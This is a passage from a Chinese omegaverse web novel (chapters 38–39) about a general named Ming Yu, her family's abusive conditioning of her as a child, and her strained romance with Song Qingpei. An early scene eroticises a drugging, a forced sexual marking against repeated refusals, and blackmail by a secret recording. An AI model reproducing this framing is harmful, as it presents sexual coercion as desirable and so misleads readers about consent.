宋青佩点了点头,牵着颂颂的手走出浴室。 明毓站在一旁,看着宋青佩的背影,眼神复杂。 她知道自己刚才的行为有些失控,且幼稚,但本能的冲动却让她无法控制。 好像她们本就该如此的。 第38章 姐姐,求你 夜幕低垂,城市的霓虹灯在窗外闪烁。 云海酒店1808号房间的墙壁上,投射出斑驳的光影。 战南笙坐在沙发上,手中端着一杯红酒,轻轻摇晃着。她的唇角带着一抹得意的笑容,仿佛已经看到了乌澜被她彻底掌控的画面。 “乌澜,这次看你还能不能逃出我的手掌心。”她低声自语,语气中满是自信。 然而,她并不知道,乌澜早已看穿了她的计划。 乌澜站在酒店楼下,抬头望向1808号房间的窗户,眼中闪过一丝冷意。 她的唇角微微扬起,低声呢喃:“战南笙,既然你执意要玩,那我就陪你玩到底。” 她迈步走进酒店,电梯缓缓上升。 乌澜的神情依旧平静,但她的手指却无意识地敲击着电梯的扶手,仿佛在计算着什么。当电梯停在18楼时,她的嘴角微微扬起,露出一个意味深长的笑容。 走到1808号房间门口,乌澜抬手敲了敲门。 “进来,门没锁。”门内传来战南笙慵懒而妩媚的声音。 乌澜推门而入,看到战南笙正坐在床边,手中端着红酒,神情慵懒而妩媚。 她的目光在乌澜身上扫过,语气中带着几分挑衅:“来得挺准时嘛。” 乌澜没有回答,只是反手关上了门,随后缓步走向战南笙。 她的目光冷冽而深邃,仿佛能看穿一切。 战南笙被她的眼神看得有些不自在,但她很快调整了情绪,笑着站起身,走到乌澜面前,伸手将手中的红酒递给她,语气中带着几分诱惑:“乌澜,今晚你是我的。” 乌澜低头看着那杯红酒,嘴角微微扬起:“大小姐,你确定你能承受得起后果吗?” 战南笙轻笑出声,语气中带着几分挑衅:“怎么,你怕了?” 乌澜轻笑一声,接过红酒喝了一口,随后猛地扣住战南笙的后颈,低头吻住了她的唇,战南笙猝不及防,被迫咽下了那口红酒。 战南笙早就在红酒里下了药,此刻作茧自缚,很快就感觉到身体逐渐变得无力。 不过,她显然有恃无恐,眼神依旧带着挑衅,甚至还有心情调笑:“怎么,你一个Omega还想要主动?” 乌澜扶住她,走向床边:“大小姐,请放心,今晚一定让你度过一个难忘的夜晚。” 话音未落,一股强大的信息素瞬间弥漫在房间内。 “你不是Omega!” 战南笙的脸色瞬间变得苍白,眼中满是震惊:“你你竟然是……是Enigma?” Enigma是极其稀有的存在,不但对Omega信息素免疫,并且可以支配标记Alpha,甚至可以让Alpha生孩子。 突然的转变让战南笙的眼中闪过慌乱,但她很快强装镇定,警告道:“乌澜,你别乱来!你敢标记我,我不会饶了你的!” 乌澜轻笑一声,语气中带着几分戏谑:“大小姐,你如此盛情相邀,我若不做些什么,实在对不起你的精心安排。” 战南笙想要挣扎,但她的身体却因为药物的作用而变得无力。 她咬紧牙关,怒骂道:“你个混蛋!放开我!” 乌澜不为所动,手指轻轻抚过战南笙的脸颊,顺着她的下颌线滑落到她的脖颈,指尖的温度让战南笙的身体不由自主地颤栗。 “乌澜,你……你敢!”战南笙咬牙切齿地骂道。 她的呼吸变得急促,眼中满是愤怒与不甘,试图用最后的力气推开乌澜,但她的手臂却软绵绵地垂了下来,仿佛所有的力量都被抽离。 乌澜轻笑一声,手指顺着她的肩膀滑下,轻轻扣住她的肩膀,将她整个人按在床上,摆弄出一个趴伏的姿势,看上去十分羞耻。 战南笙的身体猛地一颤,胸口剧烈起伏,眼中闪过一丝慌乱。 “放开我……你这个疯子!” 战南笙的声音带着几分颤抖,双腿试图踢向乌澜,却被乌澜轻易地压制住。 乌澜的膝盖抵在她的腿间,将她牢牢固定在床上,动弹不得。 “大小姐,你的身体可比你的嘴诚实多了。”乌澜低笑着,手指轻轻划过她的腰际,指尖的温度让战南笙的身体不由自主地绷紧。 她的呼吸变得更加紊乱,脸颊染上了一层淡淡的红晕,眼中满是羞愤。 “你……闭嘴!”战南笙咬紧牙关,试图用最后的理智抵抗身体的反应。 但她的身体却不受控制地软了下来,乌澜的手指轻轻抚过她的肌肤,每一寸触碰都像是点燃了火焰,让她的身体不由自主地颤抖。 “乌澜,我……我不会放过你的……”战南笙的声音断断续续,带着几分喘息。 乌澜低头戏谑的看着她,手指轻轻挑起战南笙的下巴,强迫她与自己对视。 “大小姐,你的身体已经背叛了你,何必再逞强呢? 战南笙的眼中闪过一丝羞愤,她的嘴唇微微颤抖,想要反驳,却发现自己已经说不出完整的话。她的身体在乌澜的触碰下逐渐失控,甚至忍不住发出一声低低的呻吟,那声音刚一出口,战南笙的脸色瞬间变得苍白,眼中满是羞耻。 “你……你这个混蛋!我要杀了你!” 乌澜低笑着,低头在她的耳边轻声说:“大小姐,你也很享受,不是吗?” 温热的气息喷洒在战南笙的耳畔,让她的身体不由自主地颤抖,只能用愤怒的骂声掩盖自己的狼狈,乌澜轻笑一声,低头在她颈间腺体轻轻咬下,堵住了她所有的谩骂。 她的牙齿轻轻刺破战南笙的肌肤,一股强大的信息素瞬间注入她的体内。 在强大的信息素刺激下,战南笙的身体猛地一颤,双眸紧闭着,胸口剧烈起伏,整个人仿佛深陷在巨大的快感中,抖了许久才慢慢平静下来。 等战南笙终于从那灭顶的快感中慢慢缓过来,抬头欲骂,却看到乌澜正摆弄着一个小型录像设备,在她眼前晃了晃,语气冰冷:“大小姐,我烂命一条,你要想全星际都看到你这诱人的模样,就去告诉你父亲吧。” 战南笙气得浑身发抖,咬牙切齿地骂道:“你个畜生!” 乌澜轻笑,伸手捏住她的下巴,强迫她与自己对视:“大小姐,我早就跟你说过,别惹我。” 就在这时,乌澜的手机响了。 她接起电话,听到对方简短汇报后,冷声道:“我知道了,立刻通知调查局的人包围明家的湖心院,好戏开场了。” 挂断电话后,乌澜低头看了一眼躺在床上喘着粗气的战南笙,轻笑道:“大小姐,我有公事先走了。对了,记得吃药,怀孕了我可不负责。” “滚!”战南笙的怒骂声都破了音。 “呵哈哈哈” 乌澜发出愉悦的笑声,转身推开门,头也不回地离开了房间。 战南笙躺在床上,望着天花板,咬牙切齿:“乌澜,你给我等着……” “我一定要弄死你!” —— 明芮站在湖心院的门口,目光冷峻地扫视着这座熟悉的建筑。 她压下心中的紧张与愤怒,迈步走进了院子。她的母亲明远黛早已在门口等候,见到女儿,脸上露出一丝担忧。 “芮芮,你确定要这么做吗?”明远黛低声问道,语气中带着一丝不安。 明芮点了点头,眼神坚定:“妈,我已经没有退路了。表姐的事情不能再拖下去,我必须弄清楚宫博士到底对她做了什么。” 明远黛叹了口气,轻轻拍了拍女儿的肩膀:“好吧,我已经按你说的,找了个借口把你外婆支走了。宫博士的实验室就在后院,你小心点。” 明芮没有再说什么,带着几名心腹径直朝后院走去。 宫博士的实验室位于湖心院最深处,平日里除了明老夫人和明毓,几乎没有人敢靠近。 明芮站在实验室门口,深吸一口气,推开了那扇沉重的铁门。 实验室内的光线昏暗,空气中弥漫着一股刺鼻的化学药剂味道。 宫博士正站在一台复杂的仪器前,听到动静,他缓缓转过身来,脸上依旧带着那抹淡淡的微笑。 “明芮小姐,真是稀客啊。”宫博士的声音平静,仿佛对明芮的到来并不感到意外。 明芮冷笑一声,目光如刀般刺向宫博士:“宫博士,我来是想问你一件事——你到底对我表姐做了什么?” 宫博士挑了挑眉,语气依旧波澜不惊:“明芮小姐,我不明白你在说什么。明毓上将的健康一直由我负责,我只是在尽自己的职责。” “职责?”明芮的声音陡然提高,眼中闪过一丝愤怒,“你的职责就是对她进行那些残酷的训练,甚至给她植入思想钢印吗?” 宫博士的脸色微微一变,但很快恢复了平静:“明芮小姐,这些话可不能乱说。非法给人植入思想钢印可是违法的,我怎么可能做这种事?” 明芮冷笑一声,挥了挥手,身后的几名心腹立刻上前,将宫博士团团围住。 宫博士的脸色终于变了,他后退一步,声音中带着一丝警告:“明芮小姐,你这是要做什么?擅自用刑可是违法的!” “违法?”明芮的声音冰冷,眼中闪过一丝警告,“宫博士,你不是自认聪明吗?那你说,如果天才博士突然变成了傻子,会不会很有意思?” 宫博士的脸色瞬间变得苍白,显然没想到明芮会如此直接地威胁她。 他的手指微微颤抖,声音中带着一丝慌乱:“你……你不能这么做!” 明芮没有理会她的抗议,冷冷地说道:“我给你最后一次机会,告诉我真相。否则,我不介意让你亲自体验一下你那些‘实验’的滋味。” 宫博士的额头上渗出了细密的汗珠,目光在明芮和那些心腹之间来回游移,最终,咬牙低声道:“好,我告诉你。” 明芮挥了挥手,示意手下退后几步,给宫博士留出一些空间。 宫博士深吸了一口气,缓缓说道:“明毓上将从小就被植入了思想钢印,这是明老夫人的命令。她的性格太过软糯,不符合明家继承人的要求,所以老夫人让我对她进行了一系列的训练和改造。” 明芮的拳头紧紧握起,指甲深深嵌入掌心。 她强压下心中的怒火,冷冷地问道:“思想钢印到底是什么?” 宫博士解释道:“思想钢印是一种心理暗示技术,通过反复的催眠和刺激,将特定的信念植入人的潜意识中。明毓上将从小就被植入了‘必须变强大,重振明家’的信念。这种信念会随着她的成长不断加深,最终成为她一辈子无法摆脱的执念。” 明芮的眼中闪过一丝心疼,她无法想象明毓从小经历了怎样的痛苦。 她狠狠地看着宫博士,声音中带着一丝颤抖:“那些训练……又是什么?” 对上明芮杀人一般的视线,宫博士有些心虚道:“那些训练……是为了让她变得坚强。我们通过电击、药物和催眠,强迫她面对各种极端的情境,直到她能够完全控制自己的情绪,不再怯懦,精神力和承受力变得足够强大。” 明芮的拳头猛地砸在墙上,发出一声沉闷的响声。她声音几乎是从牙缝中挤出来的:“你们……怎么敢这么对她!” 宫博士显然被明芮的反应吓到了,忙辩解道:“这是老夫人的命令,我只是执行者。” “执行者?你以为这样就能推卸责任吗?” 宫博士没有再说话,趁着明芮陷入情绪中没注意到,手指悄悄按下了仪器上的一个按钮,向外面发送了求救信号。 明芮敏锐地察觉到了她的动作,立刻挥手示意手下控制住她。 “把她带走!”明芮冷冷地说道,随即转身对心腹吩咐道,“把所有的实验数据和影像都带走,立刻送到表姐那边去,表姐不在就先交给宋青佩。” 心腹点了点头,迅速开始整理实验室内的资料。 明芮站在一旁,目光冰冷地看着宫博士被带走。 “明芮小姐,你这样做,老夫人不会放过你的。”宫博士被带走前,愤怒的喊道。 明芮冷笑一声,“那就让她来找我好了,今天谁也护不住你。” 宫博士的脸色瞬间变得苍白,显然没想到明芮会如此强硬。他被带出了实验室,明芮站在原地,深吸了一口气,压下心中的情绪。 明芮走出实验室,冷风拂过她的面颊,带来一丝刺骨的寒意。 她的手指紧紧攥着那份从宫博士实验室里搜出的实验数据和影像,心中翻涌着难以平息的愤怒与心疼。她无法想象,表姐从小经历了怎样的痛苦,而这一切竟然都是明老夫人的命令。 就在她准备离开时,远处传来一阵急促的脚步声。 明芮抬头望去,只见明老夫人带着一群人气势汹汹地赶来,脸色阴沉得可怕。 她的身后跟着几名明家的护卫,显然是有备而来。 明芮的心猛地一沉,她知道,事情已经无法善了。 明老夫人走到明芮面前,目光如刀般扫过她,随即抬手狠狠给了明远黛一个耳光。清脆的耳光声在寂静的夜色中格外刺耳,明远黛被打得踉跄后退,脸上瞬间浮现出红肿的掌印。 “妈!”明芮惊呼一声,连忙扶住母亲。 “闭嘴!”明老夫人厉声呵斥,目光冰冷地看向明芮,“你真是越来越无法无天了!谁给你的胆子,敢带人闯进宫博士的实验室?还敢私自囚禁她?你是不是以为,明家已经没人能管得了你了?” 明芮强压下心中的怒火,说:“外婆,我只是想弄清楚表姐的事情。宫博士对她做了什么,您心里应该比谁都清楚吧?” 明老夫人的脸色微微一变,但很快恢复了平静,命令道:“明芮,你别在这里胡闹。明毓的事情轮不到你来插手,你现在立刻放了宫博士,然后给我滚回去反省!” 明芮的目光毫不退让,她直视着明老夫人,声音坚定:“表姐不该成为您的工具!她是一个人,不是您用来振兴明家的傀儡!” 明老夫人的脸色瞬间变得铁青,她猛地抬手,似乎想要再给明芮一个耳光。 然而,就在这时,远处传来一阵嘈杂的脚步声。 几十名身穿联邦调查局制服的人冲进来,将湖心院团团围住,为首的是一名身材高挑的女子,正是联邦调查局局长——乌澜。 她的身后还跟着一位衣着华贵的女人,正是战绮。 见状,明芮的眉头微微皱起,心中升起一丝不祥的预感。她并没有通知联邦调查局,这些人怎么会突然出现? 明老夫人显然也意识到了不对劲,她的目光在乌澜和战绮之间来回扫视,最终定格在战绮身上,眼中闪过震惊和愤怒。 “战绮?你怎么会在这里?” 战绮得意的笑道:“老太婆,好久不见啊。怎么,看到我很意外吗?” 明老夫人的脸色变得更加难看,但多年沉浮让她没有立刻表现出来,只是视线一一扫过来的众人,最后将目光落在乌澜身上,质问道:“乌局长,你大半夜带着人包围我的湖心院,是什么道理?” 乌澜走上前,笑道:“明老夫人,我们接到宫博士的报警,称我们调查局的明芮处长私自囚禁她,并试图对她用刑,我们必须对此事进行调查。” 闻言,明老夫人差点站不住,显然没想到事情会发展到这一步。 她快速的将事情在脑中过了一边,很快将事情联系到了一起,声音中带着一丝愤怒:“你们……你们早就算计好了,宫博士是你的人,是不是?” “现在才知道?晚了!”战绮眼中满是得意,讥讽道:“死老太婆,你以为你还能掌控一切吗?也是时候揭开你伪善的面具了。” 明老夫人的脸色瞬间变得苍白,她的身体微微摇晃,仿佛随时都会倒下。 “你……你这个毒妇!你到底想干什么?” 战绮的目光中闪过一丝疯狂,她猛地走上前,声音尖锐而刺耳:“我想干什么?死老太婆,你还记得我的女儿吗?那个被你们明家害死的乖孩子!还让那个贱人小三上位!今天,我终于可以为我的女儿报仇了!我要让你们所有人都付出代价!” 她的声音在夜空中回荡,带着无尽的怨恨与痛苦。 明老夫人脸色苍白如纸,显然被战绮的话击中了内心最脆弱的部分。 就在这时,远处传来一阵急促的脚步声。 明毓带着几名护卫快步走来,她的脸色冷峻,目光中带着一丝疑惑。 显然,她并不知道这里发生了什么。 “奶奶,这是怎么回事?”明毓走到明老夫人身边,低声问道。 明老心虚的看向她,声音中带着一丝紧张:“明毓,你……你怎么来了?” 明毓的眉头微微皱起:“我接到消息,说这里出了事,所以赶来看看。” 战绮冷笑一声,目光中满是嘲讽:“明毓,你来得正好。今天,我就让你看清楚,你所谓的奶奶,到底是个什么样的人!” 明毓转头看向战绮,声音中带着一丝冷意:“你这话是什么意思?” 战绮没有回答,而是转头看向乌澜,冷冷地说:“乌局长,是时候揭开真相了。” 乌澜点了点头,从怀中拿出一份文件,递给明毓:“明上将,这是我们从宫博士实验室里找到的实验数据和影像。你可以看看,这些年来,明老夫人和宫博士对你做了什么。” 明毓接过文件,目光在文件上扫过,脸色逐渐变得苍白。 她的手指微微颤抖,眼中闪过一丝不可置信:“这……这是什么?” 明老夫人的脸色瞬间变得苍白,声音中带着一丝无力:“明毓,我……我都是为了你好……,我只是想让你变得更强,能够承担起明家的责任……” “哈哈哈你这个死老太婆还真是会狡辩,这么有本事你怎么不自己上呢,你们明家缺德事干尽,就该断子绝孙。” 战绮的冷笑在夜风中显得格外刺耳,嘲讽意味十足,直直刺向明老夫人。 明老夫人脸色苍白如纸,手指紧紧攥住拐杖,仿佛那是她唯一的支撑。 就在这时,明毓冷冷的打断了战绮的怒吼:“够了!” 她的声音并不大,却带着一种不容置疑的威严。 所有人的目光瞬间集中在了她的身上。 明毓看向战绮,声音低沉而冰冷:“战夫人,你的怨恨我理解,但这是你与明家的私事,动用这么多的国家力量,未免有些公权私用了。” 战绮的眼中闪过一丝嘲讽,“明毓,少在这跟我装腔作势,你以为你还能置身事外吗?你不过是老太婆*手中的一枚棋子,一个被操控的傀儡罢了!” 明毓的脸色一边,但很快恢复了平静。 她的目光从明老夫人身上移开,最终落在了一旁满脸愧疚的明芮身上,隐隐闪过担忧。 明芮的声音颤抖着,带着一丝哽咽:“表姐,对不起……我没想到这一切都是他们设的局……我只是想帮你……” 明毓强压下心中的痛苦,安抚道:“明芮,你不必自责,我知道你是为了我好。” 闻言,明芮的泪更是止不住,无声落下。 她知道,这一次表姐还是会一如既往的护着她,她做的一切都是值得。 果然,只见明毓转头看向乌澜,冷声道:“乌局长,宫博士私自进行非法实验,明芮的所有行动都是我授意的。既然要调查,那就连我一起查吧。” 乌澜的眉头微微皱起,声音平静,公式化道:“明上将,您有任何行动与我无关。但明芮是调查局的人,她擅自行动已经违反了规定,我们必须将人带回去进行审查。如果您有任何异议,可以去找总统反映。” 明毓的眼中闪过一丝冷意,“我会的。” “明上将,今天打扰了,我们就先走了。” 乌澜点了点头,挥手示意手下将宫博士和明芮带走。 战绮冷冷地看了明老夫人一眼,眼中满是嘲讽和得意,她转身跟着乌澜离开。 明毓站在原地,和明老夫人遥遥对视,眼中带着一丝复杂的情绪。 明老夫人仿佛一下子苍老了许多,试图做最后的挣扎,颤声道:“明毓,我……奶奶真的是为了你好啊……” “奶奶,您对我……有过一丝一毫的真心吗?” 明毓看着她,问出了这句藏在心中无数次没有问出口的话。 明老夫人身体一僵,嘴唇微微动了动,似乎想要说些什么,但最终什么也没有说出口,只剩下无尽的沉默。 明毓没再说什么,转身离开了。 望着明毓萧索的背影,明老夫人站在原地,肩膀无力地垂下头,沉默不语。 大部分的人陆续离开后,明家的气氛变得更加压抑。 明远黛站在一旁,脸色苍白,眼中满是担忧。 她看着明老夫人,低声说道:“妈,现在怎么办?明芮她……” 明老夫人抬起头,眼中闪过一丝冷意:“明芮的事情,我会想办法。现在最重要的是明毓,她不能出事。” 明远黛点了点头,但心中的不安却无法平息。 她知道,明毓的性格一向倔强,尤其是在得知自己被植入思想钢印后,恐怕不会轻易原谅明老夫人。 —— 与此同时,宋青佩在庄园里急得团团转。 她坐在书房的沙发上,手中紧紧握着明芮派人送来的实验资料和影像,心中充满了不安和茫然。 她知道,这些资料里藏着明毓过去的秘密,而她即将揭开这一切。 她深吸了一口气,打开了第一份影像资料。 画面中,瘦小的明毓被推进了一间黑暗的房间。 女孩看起来只有十岁左右,脸上还带着稚嫩的婴儿肥,眼神中满是恐惧和无助。 她的双手紧紧攥着衣角,声音颤抖地喊着:“奶奶……奶奶……我害怕……” 宋青佩的心猛地揪了起来。 那是幼年的明毓,她的声音稚嫩而脆弱,与现在那个冷漠强势的明毓判若两人。 画面中的明毓被推进房间后,门在她身后重重关上,房间里一片漆黑,只有角落里闪烁着几双幽绿的眼睛。 那是狼群的眼睛,它们在黑暗中缓缓靠近,发出低沉的咆哮声。 明毓的哭声在黑暗中回荡,她拼命拍打着门,声音中带着绝望:“放我出去!求求你们,放我出去!” 然而,门外没有任何回应。 明毓的哭声渐渐变成了抽泣,她的身体蜷缩在角落里,双手紧紧抱住膝盖,仿佛这样就能保护自己。 宋青佩的手指紧紧攥住沙发扶手,指节因用力而发白。 她无法想象,一个十岁的孩子是如何在这种恐惧中生存下来的。 接下来的画面更加残酷。 明毓被关在狭小的禁闭室里,四周一片漆黑,没有任何声音。 她的手指在墙壁上抓挠,试图找到一丝光亮,但一切都是徒劳。 “奶奶……妈妈……我错了……求求你们放我出去……”明毓的声音越来越微弱,最终变成了无声的抽泣。 宋青佩无法再看下去,但她的眼睛却无法从屏幕上移开。她知道,这些影像只是冰山一角,明毓的童年远比她想象得更加残酷。 “废物!弱者不配活着!” 宫博士的声音在影像中冷冷地响起,仿佛一把锋利的刀,一次次地切割着明毓的本性,将她塑造成想要的样子。 影像继续播放,明毓被带到了一个机甲训练场。 她的身体依旧娇小,但她的眼神中已经没有了孩童的天真,取而代之的是一种冰冷的坚定。 她被要求驾驶机甲穿越一片陨石群,陨石群中充满了危险,稍有不慎就会机毁人亡,明毓的手指紧紧握住操纵杆,额头上渗出了细密的汗珠。 她的眼神中闪过一丝恐惧,但很快被她压了下去。 机甲在陨石群中穿梭,明毓的呼吸变得急促,但她依旧紧紧握住操纵杆,努力控制着机甲的平衡。突然,一颗巨大的陨石朝她飞来,明毓的眼神中闪过一丝慌乱,但她迅速调整了机甲的方向,险险地避开了陨石。 她的心跳得很快,胸口剧烈起伏,但她没有停下,继续向前飞行。 她的眼神逐渐变得冷漠,仿佛所有的情感都被抽离了。 影像中的明毓渐渐变得强大,她的眼神中没有任何情感,仿佛一具没有灵魂的躯壳,在战斗时更是毫不畏惧死亡,无数的战斗中都与死亡擦肩而过。 就这样,一步步地走来,年纪轻轻成了联邦最年轻的上将。 世人只道她是天才,却无人知道她背后受到的折磨。 影像结束后,宋青佩久久无法平静。 她终于明白,为什么高高在上的明毓上将会受伤掉在垃圾星上,就这样悍不畏死的战斗方式,她不受伤谁受伤,能安然无恙地活到现在都是她命大。 宋青佩静静地坐在那里,陷入了长久的沉默,忽然有些茫然。 就在这时,门被轻轻推开。 明毓走了进来,她的脸色苍白,眼神中带着一丝疲惫。 她的目光落在宋青佩投放的影像资料上,眼中闪过一丝复杂的情绪。 “你……都知道了?”明毓的声音低沉而沙哑,仿佛从很远的地方传来。 宋青佩抬头看着明毓,她张了张嘴,想要说些什么,但最终只是点了点头。 明毓垂眸,低低地惨笑:“我的过去……就是这么不堪。” 宋青佩忙道:“你别这样想,这一切都不是你的错。” 不是她的错吗? 这一句话,仿佛让明毓找到了救赎,此刻她忽然有一种冲动,想将自己的一切剖开给宋青佩看,不管是好的,还是坏的,她渴望她能接纳完整的自己。 明毓的眼中闪过一丝痛苦,声音低沉而沙哑:“青佩,梦梦其实就是我怯懦弱小的一面,当初的失忆,也不过是因为我在高压下即将崩溃,潜意识选择的逃避方式。还有什么催眠,接受过思想钢印的我怎么可能会轻易被催眠,那不过都是我骗你,同时骗自己的借口罢了。” “其实我就是个软弱,虚伪,逃避,连真实的自己都不敢面对的废物。” 没想到明毓居然会这么贬低自己,宋青佩不由大受震撼,想到刚才自己看到的一切,很快又转为了心疼,不管有没有用,她试图说些什么, 她的声音温柔而坚定:“明毓,你不必这样……不管是梦梦还是现在的你,都是你的一部分。你不必否定自己,也不必逃避。软弱并不可怕,可怕的是你不敢面对自己。” 明毓的眼中闪过一丝痛苦,哑声问:“青佩,你还爱我吗?” 宋青佩的喉咙像是被什么堵住了,她的脑海中闪过无数画面——明毓曾经对她的冷漠、疏离,甚至那些羞辱和伤害,都像一根根刺,深深扎在她的心里。她曾经深爱过,这一点她从未否认过,但她也害怕,好不容易慢慢走出来了,更害怕再次陷入那种痛苦中。 再加上两人的身份,更是无法逾越的鸿沟。 宋青佩深吸了一口气,努力让自己的声音听起来平静一些:“明毓,过去的都过去了……我们做朋友……” 话还没说完,明毓猛地抱住她,声音哽咽:“不要……不要做朋友。青佩,我不奢求你的爱了……我只求你留下来,留在我身边,好不好?” 宋青佩的心猛地一颤,她看着明毓,眼中满是复杂的情绪。 她张了张嘴,想要说些什么,却发现自己的声音干涩得几乎发不出来。 见她不说话,明毓的手臂收得更紧了,她的声音带着一丝哽咽,低声乞求,“青佩,我知道我曾经伤害了你,我知道我不配……但我只有你和颂颂了。我现在可以保护你和颂颂,我们在一起生活好不好……留下来,好不好?求你了……” 她的声音越来越低,最后几乎变成了耳语:“姐姐……” 这一声“姐姐”让宋青佩的瞳孔陡然放大,心脏仿佛被什么狠狠击中。 她的脑海中瞬间浮现出那个在垃圾星上无助的梦梦,那个依赖她、信任她、叫她“姐姐”人,这一刻,仿佛和明毓重叠了。 宋青佩的手指微微颤抖,最终轻轻抬起,抚上了明毓的后背。 她的声音很轻,却带着一丝坚定:“好……” 明毓仿佛不敢相信自己听到了什么,她抬起头,目光中带着一丝不确定和期待:“真的?” 宋青佩点了点头,眼中满是复杂的情感:“真的。” 她不知道两人的未来会走向何处,但此刻,她想给彼此一个机会。 第39章 见你一次,标记一次 宋青佩的眼睛本就没好利索,长时间观看影像,刺激的掉下了生理性眼泪。 滚烫的泪水顺着她的脸颊滑落,滴在明毓的手背上,明毓以为宋青佩是因为心疼她才哭的,顿时感动不已,将宋青佩抱得更紧了。 “青佩,你别哭了,我没事了。” 明毓的声音有些慌乱,带着几分不知所措的温柔。 宋青佩眼睛不舒服,根本没仔细听她说什么。她轻轻推开明毓,眯着眼说:“明毓,我眼睛还是不舒服,麻烦你帮我拿药来吧。” “青佩,只要你陪在我身边就好,我” 明毓剩下的话没来得及完全出口,眼中的感动瞬间凝固。 没想到是她自作多情了,顿时尴尬不已,又有些酸涩,但很快就被压了下去。 “好,我去给你拿药。” 她的声音依旧在努力显得柔和,但语气中却不自觉的多了一丝失落。 明毓转身走向药箱,动作利落地找出眼药水,又拿了纱布,回到宋青佩身边。 宋青佩看着她忙碌的背影,嘴角微微勾起一抹笑意。 她当然知道明毓误会了什么,但她并没有解释,经验告诉她,对明毓不能太好,太好容易让她“上天”。 明毓需要明白,感情是相互的,而不是一味地索取。 明毓拿着药水和毛巾走过来,轻轻扶住宋青佩的肩膀,让她靠在沙发上。 语气温柔得几乎能滴出水来:“这样会舒服一些,你闭上眼睛休息一会儿。” 宋青佩闭上眼睛,任由明毓为她敷药。 突然想到了明芮,不由问道:“对了,明芮怎么样了?” 明毓动作顿了一下,才道:“明芮被调查局带走了,不过问题不大,只是例行审查而已。” 宋青佩不由担忧道:“真的没问题吗?她毕竟是为了你才……” “我会处理好的。”明毓习惯性的打断了她的话,随即又反应过来太过冷硬,又耐心解释道:“你不用担心,明芮毕竟是调查局的处长,她们不敢太过分的。明天我就去找总统,不会有事的。” 听到“总统”两个字,宋青佩的心里涌起一股复杂的情绪。 明毓的身份和地位,始终是她无法跨越的鸿沟。 她只是一个普通人,而明毓却是联邦最年轻的上将,甚至能直接与总统对话,讲实话,她才该自卑好不好,顿时整个人都emo了。 她揉了揉太阳穴,声音带着几分疲惫:“明毓,我有点累了,想回房间休息。” 闻言,明毓立刻站起身,动作轻柔地扶住她的手臂,“好,我送你回房间。” 宋青佩靠在明毓的肩膀上,任由她扶着慢慢走向卧室。 进了房间,宋青佩坐在床边,闭眼假寐。 许久,也没听到脚步声,知道明毓还没走,不由开口道:“好了,我没事了,你也回去休息吧。” 明毓欲言又止,止言又欲。 她不想走。 “你刚才说……”她的声音有些低,带着几分试探,“愿意留下来,是真的吗?” 宋青佩抬头看向她,反应过来自己现在压根啥也看不见,又半垂下头,解释道:“我只是说留下来和你一起照顾颂颂而已,你别想太多。” 话说的很明白了,明毓忽然后悔极了,刚才不该一时冲动说什么不要她的爱这种话,她要是不说,青佩或许一时心软,就答应和她重新开始了。 上将大人顿时悔不当初。 “我……”她的声音有些干涩,带着几分不甘,“我不想走。” “你想在这里睡?” 宋青佩的声音依旧平静,仿佛在陈述一个无关紧要的事实。 明毓点了点头,声音低得几乎听不见:“可以吗?” “可以。”宋青佩轻笑一声,“不过你得像梦梦一样喊我‘姐姐’。” 听她突然提起梦梦,明毓的第一反应倒不是生气,而是反驳道:“我比你大,凭什么喊你姐姐?” 看到她这个反应,宋青佩的笑意更深了。 一直以来,‘梦梦’都是横在两人中间的重要问题,她对于明毓的接触由此开始,哪怕明毓口口声声说她们是一个人。但是对于宋青佩而言,两个长相一样,性格却完全不同的人终究是不一样的。 她既然想试着去接纳完整的明毓,自然不能将过去的事当没发生过。所以,她不但不能绝口故意不提‘梦梦’,反而更应该坦诚自己的感情。 于是她毫不掩饰道:“就凭我喜欢听你喊我姐姐,不管是梦梦,还是明上将你我都喜欢听。”甚至于相比较梦梦,停明毓喊姐姐,她觉得更有意思。 这种感觉,宋青佩无法具体形容出来。 只是想想曾经高高在上,对自己不屑一顾的明毓上将,却因为想要留下来,一脸不甘心的喊她姐姐,尤其是明毓还比她大,就爽的不行 这个变态的想法把她吓了一跳,她不是这么恶劣的人啊。 宋青佩试实在不愿意承认自己本性这么恶劣,只能归咎于——实在是之前的明毓不干人事,把她逼得太狠了,她才会有这么变态的想法。 不但宋青佩陷入了深深的自我怀疑中,明毓也被宋青佩给惊到了。 之前宋青佩面对她,一直是冷淡,疏离,要不就拒绝她的接近,最多面对‘梦梦状态时是温柔的,从来没有过这种堪称不要脸的行为。 她很不适应,只会呐呐重复道:“不可能。我明明比你大,怎么能喊你姐姐。” 见她吵架都这么笨拙,宋青佩语气中不由带上了几分调侃:“你之前不是都喊很多遍了吗?别拿什么催眠,还有梦梦当借口,你都承认这些都是你逃避的手段。明毓上将,完全接受自己的第一步,别什么都甩锅给梦梦。” 明毓咬住下唇,脸色涨得通红。 她的内心在挣扎,一方面她不愿意在宋青佩面前示弱,另一方面她又渴望得到她的认可和温暖。可是,她真的不愿意喊 宋青佩就这么耐心地等着,眼神中带着几分期待。 她的态度很明确——不喊就出去。 时间一分一秒地过去,房间里安静得只能听到两人的呼吸声。 许久许久,宋青佩的眼皮已经开始打架,困意渐渐袭来。 她打了个哈欠,语气中带着几分无奈:“嗐,你不愿意喊就算了,反正我也不想让你留下来。” 明毓眼中闪过一丝不甘和羞耻,最终什么也没说,转身摔门而去。 “砰——” 房门重重关上,震得宋青佩的耳膜都有些发疼。 她看着紧闭的房门,轻轻叹了口气。这也在她的意料之中,在思想钢印的印象下,明毓的性格倔强又骄傲,怎么可能那么容易改变? 与她而言,这只是个小小的玩笑,于明毓而言,这怕是大大的羞辱。 不过,她并不觉得自己做错了,毕竟这也是她们磨合的一部分,在思想钢印影响下的明毓确实值得同情,但是并不妨害她不讨人喜欢,讲实话,她不可能喜欢上毫不改变的明毓,如果两个人实在磨合不下去,那就为了颂颂做朋友也好。 她又不是菩萨,不可能自己受虐来普度明毓的。 宋青佩躺回床上,闭上眼睛,安然入眠。 另一边,明毓回到自己的房间,躺在床上,眼中满是茫然和不甘。 她不明白,为什么非要用这种方式来为难她。 明明就在不久前,两人还是温情脉脉的,转眼就因为这么小的问题闹得这么难看,不,严格来说只有她在气,宋青佩完全是在看她笑话。 明毓翻了个身,闭上眼睛,试图让自己冷静下来。 然而,脑海中却不断浮现出宋青佩温柔安抚她的模样,她很喜欢,甚至有些贪恋,她的内心在挣扎。一方面她实在不愿意妥协,妥协是弱者的行为。另一方面,她又渴望得到宋青佩的温情。 明毓猛地拉过被子,将自己整个人裹住,试图用这种方式逃避内心的挣扎。 不知过了多久,她终于迷迷糊糊地睡着了。 